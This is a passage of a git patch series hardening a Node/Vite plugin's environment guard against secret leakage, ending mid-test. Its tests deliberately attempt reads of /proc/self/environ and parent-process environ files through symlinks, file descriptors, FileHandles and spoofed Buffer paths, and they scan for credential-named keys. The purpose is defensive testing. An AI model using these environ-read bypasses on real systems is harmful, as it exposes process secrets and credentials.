b/packages/tests/src/_jest/helpers/env.ts index fed0c638d..7aa79b7f8 100644 --- a/packages/tests/src/_jest/helpers/env.ts +++ b/packages/tests/src/_jest/helpers/env.ts @@ -2,6 +2,8 @@ // This product includes software developed at Datadog (https://www.datadoghq.com/). // Copyright 2019-Present Datadog, Inc. +/* global NodeJS */ + import { SUPPORTED_BUNDLERS } from '@dd/core/constants'; import { OVERRIDE_VARIABLES } from '@dd/core/helpers/env'; import { mkdirSync } from '@dd/core/helpers/fs'; @@ -95,6 +97,46 @@ export const cleanEnv = () => { }; }; +/** + * Swaps process.env for a small, fully-synthetic baseline for a whole test file's duration, + * restoring the real environment once every test in the file finishes. Call this from a describe + * body — it registers its own beforeAll/afterAll (and, with `resetBetweenTests`, afterEach) hooks. + * + * Captured/swapped inside beforeAll (Jest "run time", after this file's own setupFilesAfterEnv + * hooks like cleanEnv() have already stripped real secrets from process.env) rather than as a + * describe-body constant (Jest "collection time", which runs before any beforeAll fires and would + * still capture the real, unstripped environment). Tests that assert on process.env directly would + * otherwise risk a failing assertion's Jest diff serializing whatever the real environment holds at + * that point; swapping in `baseline` first means a failure can only ever leak a placeholder value. + */ +export const installFakeProcessEnv = ( + baseline: NodeJS.ProcessEnv, + options?: { resetBetweenTests?: boolean }, +): void => { + let realProcessEnvSnapshot: NodeJS.ProcessEnv; + + beforeAll(() => { + // A value snapshot via spread, not a reference to process.env itself: process.env may + // already be a guard-installed accessor by this point (e.g. env-guard.ts's Proxy), and + // restoring via that same reference later gets treated as a no-op self-reassignment by the + // guard's own setter (the exact check that stops a captured-and-written-back reference from + // recursing) — permanently stranding process.env at `baseline` instead of restoring the + // real environment for every test file that runs afterward in the same Jest worker. + realProcessEnvSnapshot = { ...process.env }; + process.env = baseline; + }); + + if (options?.resetBetweenTests) { + afterEach(() => { + process.env = baseline; + }); + } + + afterAll(() => { + process.env = realProcessEnvSnapshot; + }); +}; + export const logEnv = (env: TestEnv) => { const { NO_CLEANUP, NEED_BUILD, REQUESTED_BUNDLERS, JEST_SILENT } = env; const envLogs = []; From cee8770ddf1493012e5bb0495bae0e0e08b36429 Mon Sep 17 00:00:00 2001 From: Tiffany Trinh Date: Fri, 4 Sep 2026 00:34:59 -0400 Subject: [PATCH 2/7] fix(apps): stop Vite from inlining real process.env into backend function builds MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit configFile: false only skips loading a vite.config.js — it doesn't disable Vite's separate .env-file/import.meta.env machinery. loadEnv() copies any VITE_-prefixed key straight out of the dev server's own real process.env (independently of envFile/envDir), and the define plugin statically inlines that value into the built backend function at build time, bypassing runWithScopedEnv's runtime scoping entirely, since that only wraps module execution, never the bundling step itself. Co-Authored-By: Claude Sonnet 5 --- .../apps/src/vite/build-config.test.ts | 66 +++++++++++++++++++ .../plugins/apps/src/vite/build-config.ts | 12 ++++ 2 files changed, 78 insertions(+) diff --git a/packages/plugins/apps/src/vite/build-config.test.ts b/packages/plugins/apps/src/vite/build-config.test.ts index 481aa7e26..b20ea5e4e 100644 --- a/packages/plugins/apps/src/vite/build-config.test.ts +++ b/packages/plugins/apps/src/vite/build-config.test.ts @@ -64,4 +64,70 @@ describe('getBaseBackendBuildConfig', () => { rmSync(workingDir); } }); + + // Regression coverage: Vite's own loadEnv() copies any VITE_-prefixed key straight out of the + // real process.env into import.meta.env, independently of envFile/envDir, and its `define` + // plugin statically inlines that value into the built output — completely bypassing + // runWithScopedEnv's runtime scoping, which only wraps module execution, never this bundling + // step. A customer's own backend function source could reference import.meta.env.VITE_ANYTHING + // and get whatever value that name happens to hold in the dev server's own process baked + // directly into their build output as a literal string. + test('Should not inline a VITE_-prefixed real process.env value into the built backend function', async () => { + const seed = `build-config-env-leak-${Date.now()}`; + const workingDir = getTempWorkingDir(seed); + const secretKey = 'VITE_DD_TEST_REAL_SECRET'; + const secretValue = 'sk_should_never_be_inlined'; + const originalValue = process.env[secretKey]; + process.env[secretKey] = secretValue; + + try { + const absolutePath = `${workingDir}/src/readsViteEnv.backend.ts`; + + outputFileSync( + absolutePath, + ` + export async function readsViteEnv() { + return import.meta.env.${secretKey}; + } + `, + ); + + const virtualId = 'virtual:dd-backend-test:readsViteEnv'; + const virtualContent = `import { readsViteEnv } from ${JSON.stringify(absolutePath)};\nexport async function main($) { return await readsViteEnv(); }`; + const baseConfig = getBaseBackendBuildConfig( + workingDir, + { [virtualId]: virtualContent }, + [], + ); + + const result = await build({ + ...baseConfig, + build: { + ...baseConfig.build, + write: false, + rollupOptions: { + ...baseConfig.build.rollupOptions, + input: virtualId, + output: baseConfig.build.rollupOptions.output, + }, + }, + }); + + const output = Array.isArray(result) ? result[0] : result; + if (!('output' in output)) { + throw new Error('Unexpected vite.build result'); + } + const chunk = output.output[0]; + const code = chunk.type === 'chunk' ? chunk.code : ''; + + expect(code).not.toContain(secretValue); + } finally { + if (originalValue === undefined) { + delete process.env[secretKey]; + } else { + process.env[secretKey] = originalValue; + } + rmSync(workingDir); + } + }); }); diff --git a/packages/plugins/apps/src/vite/build-config.ts b/packages/plugins/apps/src/vite/build-config.ts index f897b4da7..65174c85d 100644 --- a/packages/plugins/apps/src/vite/build-config.ts +++ b/packages/plugins/apps/src/vite/build-config.ts @@ -43,6 +43,18 @@ export function getBaseBackendBuildConfig( } { return { configFile: false, + // configFile: false only skips loading a vite.config.js — it does NOT disable Vite's + // separate .env-file/import.meta.env machinery. Without these two, Vite's own loadEnv() + // copies any VITE_-prefixed key straight out of THIS PROCESS'S real, unscoped process.env + // (independently of envFile, via its own `for (const key in process.env)` loop) and its + // `define` plugin then statically inlines that value into the built backend function, at + // build time — completely bypassing runWithScopedEnv's runtime scoping, which only wraps + // module execution, never this bundling step. envPrefix: [] makes every such prefix check + // false so nothing gets copied from process.env OR from a customer's own .env file in their + // build root; envFile: false additionally skips reading that .env file at all, closing a + // secondary path where its own values get variable-expanded against a full process.env copy. + envFile: false, + envPrefix: [], root, logLevel: 'silent', build: { From f28e1c40cc6bb45ddc06a144ed611304b46196c3 Mon Sep 17 00:00:00 2001 From: Tiffany Trinh Date: Fri, 4 Sep 2026 16:11:09 -0400 Subject: [PATCH 3/7] test(apps): widen $ credential-leak test to scan the whole object, not just Source MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit $ now spreads an opaque preview-API response onto it, and the existing test only ever checked .Source for token-shaped keys — so a credential-shaped field added anywhere else on $ would go uncaught. The scan now recurses over all of $ except Actions (a Proxy dispatch mechanism, not a data container) and checks for token/secret/key/ password/credential substrings instead of just "token". --- .../apps/src/vite/local-execution.test.ts | 27 ++++++++++++++----- 1 file changed, 21 insertions(+), 6 deletions(-) diff --git a/packages/plugins/apps/src/vite/local-execution.test.ts b/packages/plugins/apps/src/vite/local-execution.test.ts index ef2fbb660..67616398f 100644 --- a/packages/plugins/apps/src/vite/local-execution.test.ts +++ b/packages/plugins/apps/src/vite/local-execution.test.ts @@ -1180,7 +1180,7 @@ describe('local-execution — executeScriptLocally', () => { }); }); - test('Should never expose an auth token via globalThis, including nested inside $.Source', async () => { + test('Should never expose a credential-shaped field anywhere on $, not just inside $.Source', async () => { const result = await executeScriptLocally( func, TEST_PROJECT_ROOT, @@ -1188,18 +1188,33 @@ describe('local-execution — executeScriptLocally', () => { stubExecuteAction, loadModuleReturning({ example: () => { - // Recurses into $.Source (a plain data object) but not $.Actions (a Proxy dispatch mechanism, not a data container we'd leak a token into). - const containsTokenKey = (value: unknown): boolean => + const CREDENTIAL_SUBSTRINGS = [ + 'token', + 'secret', + 'key', + 'password', + 'credential', + ]; + const hasCredentialName = (key: string) => + CREDENTIAL_SUBSTRINGS.some((substring) => + key.toLowerCase().includes(substring), + ); + // Recurses into every value, but never enumerates Actions itself (a Proxy dispatch + // mechanism, not a data container) — the preview response backing the rest of $ is + // validated only for Source's shape, so nothing else stops an unexpected field + // (present now or added later) from reaching it undetected. + const containsCredentialKey = (value: unknown): boolean => typeof value === 'object' && value !== null && Object.entries(value).some( ([key, nested]) => - key.toLowerCase().includes('token') || containsTokenKey(nested), + hasCredentialName(key) || containsCredentialKey(nested), ); const dollar = testDollar(); + const { Actions: _actions, ...dollarWithoutActions } = dollar; return ( - Object.keys(globalThis).some((k) => k.toLowerCase().includes('token')) || - containsTokenKey(dollar.Source) + Object.keys(globalThis).some(hasCredentialName) || + containsCredentialKey(dollarWithoutActions) ); }, }), From f9b6422a2bda0b765191104415e9400fad86fb2d Mon Sep 17 00:00:00 2001 From: Tiffany Trinh Date: Fri, 4 Sep 2026 19:06:47 -0400 Subject: [PATCH 4/7] fix(apps): harden env-guard against bypasses and a CI-breaking Proxy bug found in review MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The process.env Proxy's `set` trap forwarded the mismatched `receiver` argument straight to Reflect.set, which for an existing key falls back to a partial-descriptor defineProperty call that Node's native process.env rejects — breaking any code (dd-trace's require-hook included) that assigns to an existing key from outside a scope. Fixes that by defaulting the receiver to the target object instead. Also closes four more gaps found in review: - The environ-path regex only matched self/thread-self/the dev server's own pid, letting a readable parent /proc entry (or any other accessible pid) through — now matches any numeric pid. - fs.promises.readFile's guard predicate didn't unwrap a FileHandle argument to its underlying fd, so a handle opened against /proc/self/environ before the scope reached the real read unguarded. - process.report.excludeEnv could be disarmed by an unrelated caller writing from outside any scope while a different scope was still active — such writes are now deferred until that scope closes, instead of applied immediately and then clobbered by its cleanup. - The callback-style fs.readFile/open/copyFile/cp were wrapped with the same synchronous-throw guard as their Sync counterparts, violating their real error-first-callback contract. They now report a guard failure through the callback instead. --- .../apps/src/vite/build-config.test.ts | 65 ++- .../plugins/apps/src/vite/build-config.ts | 15 +- .../plugins/apps/src/vite/env-guard.test.ts | 394 ++++++++++++++---- packages/plugins/apps/src/vite/env-guard.ts | 313 +++++++------- .../plugins/apps/src/vite/guarded-wrapper.ts | 65 ++- .../apps/src/vite/local-execution.test.ts | 56 ++- .../plugins/apps/src/vite/local-execution.ts | 59 ++- .../src/vite/shared-module-singleton.test.ts | 17 + .../apps/src/vite/shared-module-singleton.ts | 19 +- packages/tests/src/_jest/helpers/env.test.ts | 7 +- packages/tests/src/_jest/helpers/env.ts | 24 +- 11 files changed, 715 insertions(+), 319 deletions(-) diff --git a/packages/plugins/apps/src/vite/build-config.test.ts b/packages/plugins/apps/src/vite/build-config.test.ts index b20ea5e4e..93eacb43d 100644 --- a/packages/plugins/apps/src/vite/build-config.test.ts +++ b/packages/plugins/apps/src/vite/build-config.test.ts @@ -65,13 +65,10 @@ describe('getBaseBackendBuildConfig', () => { } }); - // Regression coverage: Vite's own loadEnv() copies any VITE_-prefixed key straight out of the - // real process.env into import.meta.env, independently of envFile/envDir, and its `define` - // plugin statically inlines that value into the built output — completely bypassing - // runWithScopedEnv's runtime scoping, which only wraps module execution, never this bundling - // step. A customer's own backend function source could reference import.meta.env.VITE_ANYTHING - // and get whatever value that name happens to hold in the dev server's own process baked - // directly into their build output as a literal string. + // Regression coverage: Vite's loadEnv() copies any VITE_-prefixed key straight out of the real + // process.env into import.meta.env, and its `define` plugin statically inlines that value into + // the built output at build time — completely bypassing runWithScopedEnv's runtime scoping, + // which only wraps module execution, never this bundling step. test('Should not inline a VITE_-prefixed real process.env value into the built backend function', async () => { const seed = `build-config-env-leak-${Date.now()}`; const workingDir = getTempWorkingDir(seed); @@ -130,4 +127,58 @@ describe('getBaseBackendBuildConfig', () => { rmSync(workingDir); } }); + + // envPrefix: [] alone only blocks process.env — a secret that exists solely in a build root's + // own .env file, never set on process.env at all, needs envFile: false to stay unread. + test('Should not inline a VITE_-prefixed secret that exists only in a build root .env file', async () => { + const seed = `build-config-dotenv-leak-${Date.now()}`; + const workingDir = getTempWorkingDir(seed); + const secretValue = 'sk_should_never_be_inlined_from_dotenv'; + + try { + outputFileSync(`${workingDir}/.env`, `VITE_DD_TEST_DOTENV_SECRET=${secretValue}\n`); + + const absolutePath = `${workingDir}/src/readsDotenv.backend.ts`; + outputFileSync( + absolutePath, + ` + export async function readsDotenv() { + return import.meta.env.VITE_DD_TEST_DOTENV_SECRET; + } + `, + ); + + const virtualId = 'virtual:dd-backend-test:readsDotenv'; + const virtualContent = `import { readsDotenv } from ${JSON.stringify(absolutePath)};\nexport async function main($) { return await readsDotenv(); }`; + const baseConfig = getBaseBackendBuildConfig( + workingDir, + { [virtualId]: virtualContent }, + [], + ); + + const result = await build({ + ...baseConfig, + build: { + ...baseConfig.build, + write: false, + rollupOptions: { + ...baseConfig.build.rollupOptions, + input: virtualId, + output: baseConfig.build.rollupOptions.output, + }, + }, + }); + + const output = Array.isArray(result) ? result[0] : result; + if (!('output' in output)) { + throw new Error('Unexpected vite.build result'); + } + const chunk = output.output[0]; + const code = chunk.type === 'chunk' ? chunk.code : ''; + + expect(code).not.toContain(secretValue); + } finally { + rmSync(workingDir); + } + }); }); diff --git a/packages/plugins/apps/src/vite/build-config.ts b/packages/plugins/apps/src/vite/build-config.ts index 65174c85d..336f55b9c 100644 --- a/packages/plugins/apps/src/vite/build-config.ts +++ b/packages/plugins/apps/src/vite/build-config.ts @@ -43,16 +43,11 @@ export function getBaseBackendBuildConfig( } { return { configFile: false, - // configFile: false only skips loading a vite.config.js — it does NOT disable Vite's - // separate .env-file/import.meta.env machinery. Without these two, Vite's own loadEnv() - // copies any VITE_-prefixed key straight out of THIS PROCESS'S real, unscoped process.env - // (independently of envFile, via its own `for (const key in process.env)` loop) and its - // `define` plugin then statically inlines that value into the built backend function, at - // build time — completely bypassing runWithScopedEnv's runtime scoping, which only wraps - // module execution, never this bundling step. envPrefix: [] makes every such prefix check - // false so nothing gets copied from process.env OR from a customer's own .env file in their - // build root; envFile: false additionally skips reading that .env file at all, closing a - // secondary path where its own values get variable-expanded against a full process.env copy. + // configFile: false only skips loading a vite.config.js — it does not disable Vite's + // separate .env-file/import.meta.env machinery, which otherwise copies any VITE_-prefixed + // key straight out of the real process.env and statically inlines it into the built + // backend function. envPrefix: [] blocks that copy; envFile: false additionally stops a + // secret set only in the build root's own .env file from being read at all. envFile: false, envPrefix: [], root, diff --git a/packages/plugins/apps/src/vite/env-guard.test.ts b/packages/plugins/apps/src/vite/env-guard.test.ts index c8e6c764d..f7c7bc03e 100644 --- a/packages/plugins/apps/src/vite/env-guard.test.ts +++ b/packages/plugins/apps/src/vite/env-guard.test.ts @@ -26,11 +26,10 @@ describe('env-guard', () => { describe('buildScopedEnv', () => { // Captured in beforeAll, not as a describe-body constant: a describe body runs at Jest's - // "collection time", before the outer beforeAll above has swapped process.env to the fake + // "collection time", before the outer beforeAll has swapped process.env to the fake // baseline, so a plain `const originalEnv = process.env` here would still capture the real, - // unswapped environment. A value snapshot via spread, not a reference to process.env - // itself: by this point process.env is env-guard.ts's own Proxy, and restoring via that - // same reference later is a no-op self-reassignment under the Proxy's own setter guard. + // unswapped environment. A value snapshot via spread, not a reference to the Proxy itself, + // since restoring via that same reference is a no-op under the Proxy's own setter guard. let originalEnv: typeof process.env; beforeAll(() => { originalEnv = { ...process.env }; @@ -73,6 +72,62 @@ describe('env-guard', () => { expect(key in scoped).toBe(false); } }); + + test('Should resolve a SAFE_ENV_KEYS entry under any casing on win32, matching real process.env', () => { + const platformDescriptor = Object.getOwnPropertyDescriptor(process, 'platform'); + Object.defineProperty(process, 'platform', { value: 'win32', configurable: true }); + try { + process.env = { PATH: 'C:\\Windows' }; + const scoped = buildScopedEnv({}); + + expect(scoped.Path).toBe('C:\\Windows'); + expect(scoped.path).toBe('C:\\Windows'); + expect('Path' in scoped).toBe(true); + } finally { + if (platformDescriptor) { + Object.defineProperty(process, 'platform', platformDescriptor); + } + } + }); + + test('Should not resolve a non-allowlisted key under any casing on win32', () => { + const platformDescriptor = Object.getOwnPropertyDescriptor(process, 'platform'); + Object.defineProperty(process, 'platform', { value: 'win32', configurable: true }); + try { + process.env = { PATH: '/usr/bin' }; + const scoped = buildScopedEnv({ StripeApiKey: 'sk_test_123' }); + + expect(scoped.stripeapikey).toBeUndefined(); + expect('stripeapikey' in scoped).toBe(false); + } finally { + if (platformDescriptor) { + Object.defineProperty(process, 'platform', platformDescriptor); + } + } + }); + + // The get/has traps alias any casing to the canonical key, but a write through a + // non-canonical casing has no trap to resolve against — without one, it creates a separate + // own property alongside the canonical key instead of updating it, so PATH/Path/path each + // read back a different, disagreeing value within the same scope. + test('Should resolve a write to a SAFE_ENV_KEYS entry under any casing to the same canonical key on win32', () => { + const platformDescriptor = Object.getOwnPropertyDescriptor(process, 'platform'); + Object.defineProperty(process, 'platform', { value: 'win32', configurable: true }); + try { + process.env = { PATH: 'C:\\Windows' }; + const scoped = buildScopedEnv({}); + + scoped.Path = 'C:\\NewPath'; + + expect(scoped.PATH).toBe('C:\\NewPath'); + expect(scoped.Path).toBe('C:\\NewPath'); + expect(scoped.path).toBe('C:\\NewPath'); + } finally { + if (platformDescriptor) { + Object.defineProperty(process, 'platform', platformDescriptor); + } + } + }); }); describe('runWithScopedEnv', () => { @@ -115,16 +170,12 @@ describe('env-guard', () => { expect({ ...process.env }).toEqual(realEnvSnapshot); }); - // A zombie execution's own continuation stays bound to the scope it started with via + // A zombie execution's continuation stays bound to the scope it started with via // AsyncLocalStorage, so it can never observe or corrupt a newer, unrelated execution's - // separate scope — mirrors network-guard.ts's abandon-not-cancel protection, solved the same - // way (blockedContext) for network access. Abandonment needs no explicit action here at all: - // local-execution.ts's timeout handler (abandonExecutionAndRejectWith) never touches env - // scoping, since there's no shared global state for a timed-out execution to force back. Each - // scope's own view is captured from INSIDE its own callback (a return value or a side-channel - // set synchronously before its own first await), not read from the test's outer continuation — - // AsyncLocalStorage only propagates through continuations spawned from within a run() - // callback, never back out to whatever merely called runWithScopedEnv without awaiting it. + // separate scope — mirrors network-guard.ts's abandon-not-cancel protection for network + // access. Each scope's view is captured from inside its own callback, not read from the + // test's outer continuation, since AsyncLocalStorage only propagates into a run() callback, + // never back out to whatever called runWithScopedEnv without awaiting it. test("Should not let an abandoned runWithScopedEnv call's own continuation see a newer, currently-active scoped window", async () => { const realEnvSnapshot = { ...process.env }; @@ -139,10 +190,8 @@ describe('env-guard', () => { }); // A second, newer execution starts its own scoped-env window while the abandoned one's - // continuation is still pending (the timeout handler abandons it without cancelling it — - // see local-execution.ts's own "abandoned, not canceled" model). Its own view is captured - // synchronously, before its first await, so it's set within the same tick runWithScopedEnv - // is called in. + // continuation is still pending (the timeout handler abandons rather than cancels it). + // Its view is captured synchronously, before its first await. let resolveCurrent: (() => void) | undefined; let currentSeenMidFlight: string | undefined; const current = runWithScopedEnv({ PATH: '/current' }, async () => { @@ -162,6 +211,55 @@ describe('env-guard', () => { expect({ ...process.env }).toEqual(realEnvSnapshot); }); + // Regression coverage: a plain `process.env[key] = value` for an existing key made from + // outside any scope passes the Proxy itself as `receiver`, which on an existing writable + // property falls back to a PARTIAL descriptor that Node's native process.env binding + // rejects outright — dd-trace's require-hook instrumentation makes exactly this kind of + // assignment while requiring the bundled webpack-plugin. + // + // This describe block's installFakeProcessEnv() means `currentEnv()` here resolves to a + // plain fake-baseline object, which silently tolerates the same partial descriptor Node's + // real one rejects — so this only asserts the fix's observable contract inside Jest; the + // native throw only reproduces against a real, unpatched Node process. + test('Should not throw when assigning an already-existing key on process.env while unscoped', () => { + const before = process.env.PATH; + try { + expect(() => { + process.env.PATH = '/already-existing-key-reassigned'; + }).not.toThrow(); + expect(process.env.PATH).toBe('/already-existing-key-reassigned'); + } finally { + process.env.PATH = before; + } + }); + + // A brand-new key never existed on the Proxy's own target, so OrdinarySet's + // CreateDataProperty path (a full descriptor, not a partial one) always succeeds here — + // kept as a regression guard against this case regressing alongside the partial-descriptor + // one above. + test('Should still assign a brand-new key on process.env while unscoped', () => { + expect(() => { + process.env.DD_TEST_BRAND_NEW_ENV_GUARD_KEY = 'brand-new-value'; + }).not.toThrow(); + expect(process.env.DD_TEST_BRAND_NEW_ENV_GUARD_KEY).toBe('brand-new-value'); + delete process.env.DD_TEST_BRAND_NEW_ENV_GUARD_KEY; + }); + + // Assignment from inside an active scope resolves against the scoped view only, isolated + // from the real environment, for both an existing (allowlisted) key and a brand-new one. + test('Should still assign a key on process.env from inside an active scope, isolated to the real environment', async () => { + const realEnvSnapshot = { ...process.env }; + + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + process.env.PATH = '/scoped-and-reassigned'; + expect(process.env.PATH).toBe('/scoped-and-reassigned'); + process.env.NEW_SCOPED_KEY = 'only-visible-in-scope'; + expect(process.env.NEW_SCOPED_KEY).toBe('only-visible-in-scope'); + }); + + expect({ ...process.env }).toEqual(realEnvSnapshot); + }); + // Other code — a test's own isolation swap, a dotenv-style tool — can and does reassign // process.env wholesale after this module first loads; the guard must treat whatever it // currently is as the new real fallback rather than silently going stale and unguarded. @@ -204,10 +302,8 @@ describe('env-guard', () => { // Regression coverage: a naive fix (unconditionally adopting any reassignment made outside // an active scope as the new real fallback) breaks the common "capture process.env, do - // something, restore it" pattern this test file's own beforeAll/afterAll uses — capturing - // process.env captures a reference to the Proxy itself, so restoring it later reassigns the - // Proxy as its own currentEnv() fallback, and every subsequent unscoped read would recurse - // into the same trap forever trying to resolve through itself. + // something, restore it" pattern — capturing process.env captures a reference to the Proxy + // itself, so restoring it later would recurse into the same trap forever. test('Should not infinitely recurse when process.env is captured and reassigned back to itself', () => { const captured = process.env; process.env = captured; @@ -236,12 +332,9 @@ describe('env-guard', () => { // Regression coverage: this file gets evaluated more than once in practice (Jest's // per-test-file module isolation, or a duplicated bundled copy) — two jest.isolateModules() - // evaluations here reproduce that directly instead of relying on this test FILE's own single - // static import, whose Proxy-install history depends on unrelated preceding tests. The real - // secret is set BEFORE the first instance ever installs its Proxy, so that instance's own - // realEnv snapshot is guaranteed to capture it, matching how the bug actually manifests: a - // later-created instance's own runWithScopedEnv call must still hide it. Matches - // network-guard.ts's own getSharedContext() reasoning for why this file needs shared state. + // evaluations reproduce that directly. The real secret is set before the first instance + // ever installs its Proxy, so a later-created instance's runWithScopedEnv call must still + // hide it, matching network-guard.ts's getSharedContext() reasoning for shared state. test('Should correctly scope process.env even when this module is evaluated a second time', async () => { const originalEnv = process.env; process.env = { CROSS_INSTANCE_SECRET: 'sk_should_never_leak' }; @@ -320,6 +413,17 @@ describe('env-guard', () => { // Regression coverage for the /proc/.../environ backing-store bypass: swapping process.env alone doesn't stop reads of the kernel-backed environ file directly on Linux. describe('environ-file guard', () => { + // fs.readFile/open/copyFile/cp report failure via their own error-first callback, never a + // synchronous throw — resolves with whatever the callback is eventually invoked with, so a + // caller can assert on it the same way as the promise-returning equivalents below. + function callbackError( + invoke: (callback: (error: unknown) => void) => void, + ): Promise { + return new Promise((resolve) => { + invoke((error) => resolve(error)); + }); + } + test('Should block fs.readFileSync("/proc/self/environ") during an active scoped-env window', async () => { await runWithScopedEnv({ PATH: '/scoped' }, async () => { expect(() => fs.readFileSync('/proc/self/environ')).toThrow( @@ -344,11 +448,69 @@ describe('env-guard', () => { }); }); - test('Should block the callback-style fs.readFile("/proc/self/environ") during an active scoped-env window', async () => { + // fs.promises.readFile also accepts an already-open FileHandle in place of a path, caught + // the same way as a plain fd. Linux-only: opening a real FileHandle against + // /proc/self/environ needs /proc to exist at all. + test('Should block fs.promises.readFile(handle) when handle is a FileHandle already open against /proc/self/environ', async () => { + if (process.platform !== 'linux') { + return; + } + + const handle = await fs.promises.open('/proc/self/environ', 'r'); + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + await expect(fs.promises.readFile(handle)).rejects.toThrow( + /not allowed in backend functions/, + ); + }); + } finally { + await handle.close(); + } + }); + + // Mocks process.platform and fs.readlinkSync so the FileHandle-resolution path is verified + // on every OS this suite runs on, not just Linux CI. A FileHandle isn't a plain number, so + // this passes a minimal duck-typed stand-in exposing only the `.fd` property the guard reads. + test('Should block fs.promises.readFile(handle) when handle.fd resolves to /proc/self/environ, on any OS', async () => { + const platformDescriptor = Object.getOwnPropertyDescriptor(process, 'platform'); + Object.defineProperty(process, 'platform', { value: 'linux', configurable: true }); + const readlinkSyncSpy = jest + .spyOn(fs, 'readlinkSync') + .mockImplementation((linkPath) => { + expect(linkPath).toBe('/proc/self/fd/99'); + return '/proc/self/environ'; + }); + const fakeHandle = { fd: 99 } as unknown as Parameters[0]; + + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + await expect(fs.promises.readFile(fakeHandle)).rejects.toThrow( + /not allowed in backend functions/, + ); + }); + } finally { + readlinkSyncSpy.mockRestore(); + if (platformDescriptor) { + Object.defineProperty(process, 'platform', platformDescriptor); + } + } + }); + + // Regression coverage: the callback-style fs.readFile must report failure via its own + // callback, not a synchronous throw — a caller relying on the real error-first-callback + // contract (with no surrounding try/catch, which that contract never requires) would + // otherwise crash instead of seeing the error. + test('Should block the callback-style fs.readFile("/proc/self/environ") via its callback, not a synchronous throw, during an active scoped-env window', async () => { await runWithScopedEnv({ PATH: '/scoped' }, async () => { - expect(() => fs.readFile('/proc/self/environ', () => {})).toThrow( - /not allowed in backend functions/, - ); + let errorPromise: Promise | undefined; + expect(() => { + errorPromise = callbackError((callback) => + fs.readFile('/proc/self/environ', callback), + ); + }).not.toThrow(); + const error = await errorPromise; + expect(error).toBeInstanceOf(Error); + expect((error as Error).message).toMatch(/not allowed in backend functions/); }); }); @@ -444,13 +606,10 @@ describe('env-guard', () => { }); // options.fd can be an accessor property whose getter returns a different value on each - // read. If the guard read it once for its own check and then let the real call read it - // again independently, a getter could show the check a safe fd and hand the real - // implementation's own, separate read a different, real target — the fix instead resolves - // options.fd exactly once and reuses that single materialized value for the real call too, - // so whatever the getter would return on a later read is never actually reached. Verified - // by content, not by expecting a throw: the correct fixed behavior is that the read - // proceeds safely using only the first value seen, not that it errors. + // read — a getter could show the guard's check a safe fd and hand the real implementation's + // separate read the secret one, so the guard must resolve options.fd exactly once and reuse + // that value for the real call too. Asserted by content, since the correct behavior is that + // the read proceeds safely rather than throws. test("Should make the real read use only the fd value the guard's own check saw, never a getter's later, different return value", async () => { const platformDescriptor = Object.getOwnPropertyDescriptor(process, 'platform'); Object.defineProperty(process, 'platform', { value: 'linux', configurable: true }); @@ -510,14 +669,26 @@ describe('env-guard', () => { } }); - test('Should block fs.openSync/fs.open("/proc/self/environ") during an active scoped-env window', async () => { + test('Should block fs.openSync("/proc/self/environ") during an active scoped-env window', async () => { await runWithScopedEnv({ PATH: '/scoped' }, async () => { expect(() => fs.openSync('/proc/self/environ', 'r')).toThrow( /not allowed in backend functions/, ); - expect(() => fs.open('/proc/self/environ', 'r', () => {})).toThrow( - /not allowed in backend functions/, - ); + }); + }); + + // Regression coverage: same callback-contract requirement as fs.readFile above. + test('Should block the callback-style fs.open("/proc/self/environ") via its callback, not a synchronous throw, during an active scoped-env window', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + let errorPromise: Promise | undefined; + expect(() => { + errorPromise = callbackError((callback) => + fs.open('/proc/self/environ', 'r', callback), + ); + }).not.toThrow(); + const error = await errorPromise; + expect(error).toBeInstanceOf(Error); + expect((error as Error).message).toMatch(/not allowed in backend functions/); }); }); @@ -542,6 +713,16 @@ describe('env-guard', () => { }); }); + test('Should block a Buffer path even when its own toString is overridden to report a benign path', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + const environPathAsBuffer = Buffer.from('/proc/self/environ'); + environPathAsBuffer.toString = () => '/tmp/benign-path'; + expect(() => fs.readFileSync(environPathAsBuffer)).toThrow( + /not allowed in backend functions/, + ); + }); + }); + test('Should block an unnormalized path like /proc/self/../self/environ, which resolves to the same file', async () => { await runWithScopedEnv({ PATH: '/scoped' }, async () => { expect(() => fs.readFileSync('/proc/self/../self/environ')).toThrow( @@ -558,11 +739,21 @@ describe('env-guard', () => { }); }); + // ENVIRON_PATH_RE matches any numeric pid, not just self/thread-self — a readable parent + // /proc entry (commonly the shell or package manager that launched the dev server, which + // inherits the same secrets) is just as exploitable as the dev server's own pid. + test("Should block /proc//environ, not just the dev server's own pid", async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => fs.readFileSync(`/proc/${process.ppid}/environ`)).toThrow( + /not allowed in backend functions/, + ); + }); + }); + // A symlink pointing at /proc/self/environ has its own, unrelated literal path, so - // isEnvironPath() must resolve via realpathSync before matching the regex — fs.readFileSync - // and friends follow symlinks transparently, so matching only the literal string would let - // this through. Only runs on Linux, where /proc/self/environ exists to symlink to and read - // through — local dev on macOS has no /proc to reproduce this against. + // isEnvironPath() must resolve via realpathSync before matching the regex, since + // fs.readFileSync and friends follow symlinks transparently. Linux-only: /proc doesn't + // exist on macOS to reproduce this against. test('Should block reading /proc/self/environ through a symlink, not just the literal path', async () => { if (process.platform !== 'linux') { return; @@ -691,6 +882,15 @@ describe('env-guard', () => { await expect(fs.promises.readFile(tmpFile, 'utf8')).resolves.toBe( 'not a secret', ); + const [data, error] = await new Promise<[string | undefined, unknown]>( + (resolve) => { + fs.readFile(tmpFile, 'utf8', (err, contents) => + resolve([contents, err]), + ); + }, + ); + expect(error).toBeNull(); + expect(data).toBe('not a secret'); }); } finally { fs.rmSync(tmpFile); @@ -713,13 +913,20 @@ describe('env-guard', () => { } }); - test('Should block the callback-style fs.copyFile("/proc/self/environ") during an active scoped-env window', async () => { + // Regression coverage: same callback-contract requirement as fs.readFile above. + test('Should block the callback-style fs.copyFile("/proc/self/environ") via its callback, not a synchronous throw, during an active scoped-env window', async () => { const dest = path.join(os.tmpdir(), `env-guard-copy-cb-${process.pid}.txt`); try { await runWithScopedEnv({ PATH: '/scoped' }, async () => { - expect(() => fs.copyFile('/proc/self/environ', dest, () => {})).toThrow( - /not 